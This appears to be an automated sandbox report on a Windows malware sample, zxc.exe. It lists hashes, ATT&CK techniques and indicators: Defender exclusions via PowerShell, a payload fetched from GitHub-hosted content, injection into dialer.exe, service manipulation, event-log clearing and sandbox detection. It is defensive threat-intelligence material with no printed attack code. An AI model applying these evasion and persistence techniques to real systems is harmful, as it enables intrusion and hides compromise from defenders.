cc938a7173b4bf5863d698d322be43378d520bdea430a390496b016c85410706

Analysis

max time kernel
1800s
max time network
1797s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21-11-2024 19:36

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

zxc.exe
Size

6KB
MD5

1037e4868002ea28986b067e602219d5
SHA1

eb606ee00af1c8e3982d827819feb020e552602e
SHA256

cc938a7173b4bf5863d698d322be43378d520bdea430a390496b016c85410706
SHA512

4924969ef9398f3a45ada5dfbaeab93d92d761100fd174075b53fbfe116738b31bc338a904a102631a7239ee8f82b8bd3ca222053385fb686820ef543ea6e183
SSDEEP

96:TH79mNb60qvjnMmt3VI9dXlO5NzO6M8Ac/h6zanF3d3oj4rl:P9gqvjn3QdXlWNzOH8Ac/hT3d/

Score

8^/10

defense_evasion evasion execution persistence

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
6	1692	powershell.exe
8	1692	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3856	powershell.exe
2960	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Downloads MZ/PE file
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation	zxc.exe

Executes dropped EXE 2 IoCs

pid	Process
2212	xdwd.exe
4496	Updater32.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Setup.evtx	svchost.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
7	raw.githubusercontent.com
8	raw.githubusercontent.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Power Settings 1 TTPs 8 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
4876	powercfg.exe
3976	powercfg.exe
1940	powercfg.exe
2572	powercfg.exe
1472	powercfg.exe
4620	powercfg.exe
312	powercfg.exe
1448	powercfg.exe

Drops file in System32 directory 12 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\MRT.exe	xdwd.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	Updater32.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 2212 set thread context of 4472	2212	xdwd.exe	112
PID 4496 set thread context of 2804	4496	Updater32.exe	144
PID 4496 set thread context of 5000	4496	Updater32.exe	146
PID 4496 set thread context of 2656	4496	Updater32.exe	150

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe
File opened for modification	C:\Windows\Logs\CBS\CBS.log	TiWorker.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1480	sc.exe
3528	sc.exe
3792	sc.exe
1500	sc.exe
3248	sc.exe
3660	sc.exe
4536	sc.exe
640	sc.exe
1832	sc.exe
4316	sc.exe
4968	sc.exe
2400	sc.exe
1260	sc.exe
2972	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key security queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wmiprvse.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies data under HKEY_USERS 62 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1732218673"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Thu, 21 Nov 2024 19:51:14 GMT"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={190ECAB3-FDB0-48D9-90A2-083C27695B48}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	svchost.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1692	powershell.exe
1692	powershell.exe
2212	xdwd.exe
3856	powershell.exe
3856	powershell.exe
2212	xdwd.exe
2212	xdwd.exe
2212	xdwd.exe
2212	xdwd.exe
2212	xdwd.exe
2212	xdwd.exe
2212	xdwd.exe
2212	xdwd.exe
2212	xdwd.exe
2212	xdwd.exe
2212	xdwd.exe
2212	xdwd.exe
4472	dialer.exe
4472	dialer.exe
2212	xdwd.exe
2212	xdwd.exe
2212	xdwd.exe
4472	dialer.exe
4472	dialer.exe
4496	Updater32.exe
2960	powershell.exe
2960	powershell.exe
4472	dialer.exe
4472	dialer.exe
4472	dialer.exe
4472	dialer.exe
2960	powershell.exe
4472	dialer.exe
4472	dialer.exe
4472	dialer.exe
4472	dialer.exe
4472	dialer.exe
4472	dialer.exe
4472	dialer.exe
4472	dialer.exe
4472	dialer.exe
4472	dialer.exe
2960	powershell.exe
4472	dialer.exe
4472	dialer.exe
4472	dialer.exe
4472	dialer.exe
4472	dialer.exe
4472	dialer.exe
4472	dialer.exe
4472	dialer.exe
4472	dialer.exe
4472	dialer.exe
2960	powershell.exe
4472	dialer.exe
4472	dialer.exe
4472	dialer.exe
4472	dialer.exe
4472	dialer.exe
4472	dialer.exe
4472	dialer.exe
4472	dialer.exe
2960	powershell.exe
4472	dialer.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1692	powershell.exe
Token: SeDebugPrivilege	3856	powershell.exe
Token: SeDebugPrivilege	2212	xdwd.exe
Token: SeDebugPrivilege	4472	dialer.exe
Token: SeShutdownPrivilege	1448	powercfg.exe
Token: SeCreatePagefilePrivilege	1448	powercfg.exe
Token: SeShutdownPrivilege	312	powercfg.exe
Token: SeCreatePagefilePrivilege	312	powercfg.exe
Token: SeShutdownPrivilege	4620	powercfg.exe
Token: SeCreatePagefilePrivilege	4620	powercfg.exe
Token: SeShutdownPrivilege	1472	powercfg.exe
Token: SeCreatePagefilePrivilege	1472	powercfg.exe
Token: SeDebugPrivilege	2960	powershell.exe
Token: SeDebugPrivilege	4496	Updater32.exe
Token: SeDebugPrivilege	2804	dialer.exe
Token: SeShutdownPrivilege	4876	powercfg.exe
Token: SeCreatePagefilePrivilege	4876	powercfg.exe
Token: SeShutdownPrivilege	2572	powercfg.exe
Token: SeCreatePagefilePrivilege	2572	powercfg.exe
Token: SeShutdownPrivilege	3976	powercfg.exe
Token: SeCreatePagefilePrivilege	3976	powercfg.exe
Token: SeShutdownPrivilege	1940	powercfg.exe
Token: SeCreatePagefilePrivilege	1940	powercfg.exe
Token: SeLockMemoryPrivilege	2656	dialer.exe
Token: SeAssignPrimaryTokenPrivilege	2332	svchost.exe
Token: SeIncreaseQuotaPrivilege	2332	svchost.exe
Token: SeSecurityPrivilege	2332	svchost.exe
Token: SeTakeOwnershipPrivilege	2332	svchost.exe
Token: SeLoadDriverPrivilege	2332	svchost.exe
Token: SeSystemtimePrivilege	2332	svchost.exe
Token: SeBackupPrivilege	2332	svchost.exe
Token: SeRestorePrivilege	2332	svchost.exe
Token: SeShutdownPrivilege	2332	svchost.exe
Token: SeSystemEnvironmentPrivilege	2332	svchost.exe
Token: SeUndockPrivilege	2332	svchost.exe
Token: SeManageVolumePrivilege	2332	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2332	svchost.exe
Token: SeIncreaseQuotaPrivilege	2332	svchost.exe
Token: SeSecurityPrivilege	2332	svchost.exe
Token: SeTakeOwnershipPrivilege	2332	svchost.exe
Token: SeLoadDriverPrivilege	2332	svchost.exe
Token: SeSystemtimePrivilege	2332	svchost.exe
Token: SeBackupPrivilege	2332	svchost.exe
Token: SeRestorePrivilege	2332	svchost.exe
Token: SeShutdownPrivilege	2332	svchost.exe
Token: SeSystemEnvironmentPrivilege	2332	svchost.exe
Token: SeUndockPrivilege	2332	svchost.exe
Token: SeManageVolumePrivilege	2332	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2332	svchost.exe
Token: SeIncreaseQuotaPrivilege	2332	svchost.exe
Token: SeSecurityPrivilege	2332	svchost.exe
Token: SeTakeOwnershipPrivilege	2332	svchost.exe
Token: SeLoadDriverPrivilege	2332	svchost.exe
Token: SeSystemtimePrivilege	2332	svchost.exe
Token: SeBackupPrivilege	2332	svchost.exe
Token: SeRestorePrivilege	2332	svchost.exe
Token: SeShutdownPrivilege	2332	svchost.exe
Token: SeSystemEnvironmentPrivilege	2332	svchost.exe
Token: SeUndockPrivilege	2332	svchost.exe
Token: SeManageVolumePrivilege	2332	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2332	svchost.exe
Token: SeIncreaseQuotaPrivilege	2332	svchost.exe
Token: SeSecurityPrivilege	2332	svchost.exe
Token: SeTakeOwnershipPrivilege	2332	svchost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3888 wrote to memory of 1692	3888	zxc.exe	82
PID 3888 wrote to memory of 1692	3888	zxc.exe	82
PID 1692 wrote to memory of 2212	1692	powershell.exe	86
PID 1692 wrote to memory of 2212	1692	powershell.exe	86
PID 1228 wrote to memory of 4768	1228	cmd.exe	99
PID 1228 wrote to memory of 4768	1228	cmd.exe	99
PID 2212 wrote to memory of 4472	2212	xdwd.exe	112
PID 2212 wrote to memory of 4472	2212	xdwd.exe	112
PID 2212 wrote to memory of 4472	2212	xdwd.exe	112
PID 2212 wrote to memory of 4472	2212	xdwd.exe	112
PID 2212 wrote to memory of 4472	2212	xdwd.exe	112
PID 2212 wrote to memory of 4472	2212	xdwd.exe	112
PID 2212 wrote to memory of 4472	2212	xdwd.exe	112
PID 4472 wrote to memory of 596	4472	dialer.exe	5
PID 4472 wrote to memory of 684	4472	dialer.exe	7
PID 4472 wrote to memory of 956	4472	dialer.exe	12
PID 4472 wrote to memory of 336	4472	dialer.exe	13
PID 4472 wrote to memory of 744	4472	dialer.exe	14
PID 684 wrote to memory of 2532	684	lsass.exe	45
PID 4472 wrote to memory of 900	4472	dialer.exe	15
PID 4472 wrote to memory of 1088	4472	dialer.exe	17
PID 4472 wrote to memory of 1100	4472	dialer.exe	18
PID 4472 wrote to memory of 1144	4472	dialer.exe	19
PID 4472 wrote to memory of 1240	4472	dialer.exe	20
PID 684 wrote to memory of 2532	684	lsass.exe	45
PID 684 wrote to memory of 2532	684	lsass.exe	45
PID 4472 wrote to memory of 1288	4472	dialer.exe	21
PID 4472 wrote to memory of 1304	4472	dialer.exe	22
PID 4472 wrote to memory of 1408	4472	dialer.exe	23
PID 4472 wrote to memory of 1420	4472	dialer.exe	24
PID 4472 wrote to memory of 1436	4472	dialer.exe	25
PID 4472 wrote to memory of 1464	4472	dialer.exe	26
PID 4472 wrote to memory of 1592	4472	dialer.exe	27
PID 4472 wrote to memory of 1604	4472	dialer.exe	28
PID 4472 wrote to memory of 1664	4472	dialer.exe	29
PID 4472 wrote to memory of 1724	4472	dialer.exe	30
PID 4472 wrote to memory of 1800	4472	dialer.exe	31
PID 4472 wrote to memory of 1820	4472	dialer.exe	32
PID 4472 wrote to memory of 1912	4472	dialer.exe	33
PID 4472 wrote to memory of 1920	4472	dialer.exe	34
PID 4472 wrote to memory of 1972	4472	dialer.exe	35
PID 4472 wrote to memory of 1980	4472	dialer.exe	36
PID 4472 wrote to memory of 1556	4472	dialer.exe	37
PID 4472 wrote to memory of 2104	4472	dialer.exe	39
PID 4472 wrote to memory of 2268	4472	dialer.exe	40
PID 4472 wrote to memory of 2332	4472	dialer.exe	41
PID 4472 wrote to memory of 2368	4472	dialer.exe	42
PID 4472 wrote to memory of 2376	4472	dialer.exe	43
PID 4472 wrote to memory of 2504	4472	dialer.exe	44
PID 4472 wrote to memory of 2532	4472	dialer.exe	45
PID 4472 wrote to memory of 2552	4472	dialer.exe	46
PID 4472 wrote to memory of 2560	4472	dialer.exe	47
PID 4472 wrote to memory of 2648	4472	dialer.exe	48
PID 4472 wrote to memory of 2672	4472	dialer.exe	49
PID 4472 wrote to memory of 2704	4472	dialer.exe	50
PID 4472 wrote to memory of 2908	4472	dialer.exe	51
PID 4472 wrote to memory of 3032	4472	dialer.exe	52
PID 4472 wrote to memory of 680	4472	dialer.exe	53
PID 4472 wrote to memory of 3320	4472	dialer.exe	55
PID 4472 wrote to memory of 3368	4472	dialer.exe	56
PID 4472 wrote to memory of 3568	4472	dialer.exe	57
PID 4472 wrote to memory of 3776	4472	dialer.exe	58
PID 4472 wrote to memory of 3936	4472	dialer.exe	60
PID 4472 wrote to memory of 8	4472	dialer.exe	62

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:596
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:336

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:684

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:956

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:744

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:900

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1088

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1100

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1144
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2908

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1240

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1288

